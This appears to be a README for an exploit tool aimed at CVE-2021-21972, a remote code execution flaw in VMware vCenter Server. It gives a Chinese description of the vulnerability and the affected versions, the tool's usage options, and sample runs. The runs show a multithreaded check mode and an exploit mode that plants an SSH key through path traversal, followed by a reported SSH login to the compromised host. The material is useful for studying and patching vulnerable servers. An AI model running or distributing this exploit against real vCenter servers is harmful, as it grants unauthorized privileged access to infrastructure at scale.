
CVE-2021-21972
vSphere Client (HTML5) 中包含一个 vCenter Server 插件的远程代码执行漏洞。能够访问端口 443 的网络攻击者可能利用此问题在托管 vCenter Server 的底层操作系统上以不受限制的权限执行命令。此漏洞影响 VMware vCenter Server(7.x 版本之前 7.0 U1c,6.7 版本之前 6.7 U3l,以及 6.5 版本之前 6.5 U3n)和 VMware Cloud Foundation(4.x 版本之前 4.2,以及 3.x 版本之前 3.10.1.2)。
% python3 CVE-2021-21972.py -h
Usage: CVE-2021-21972.py [options]
Options:
-h, --help show this help message and exit
-i FILE file containing list of urls
-u URL, --url=URL https://1.1.1.1
-f FILENAME
-n NOOFTHREADS
-e, --exploit
-c, --check
%
% python3 /tmp/CVE_2021_21972.py -i /tmp/urls.txt -n 8 -e
[*] Creating tmp.tar containing ../../../../../home/vsphere-ui/.ssh/authorized_keys
[+] https://172.16.164.1 SUCCESS
Login using 'ssh -i id_rsa [email protected]'
% python3 /tmp/CVE_2021_21972.py -i /tmp/urls.txt -n 8 -c
[+] https://172.16.164.1 is vulnerable to CVE-2021-21972
% python3 /tmp/CVE_2021_21972.py -u https://172.16.164.1 -n 8 -c
[+] https://172.16.164.1 is vulnerable to CVE-2021-21972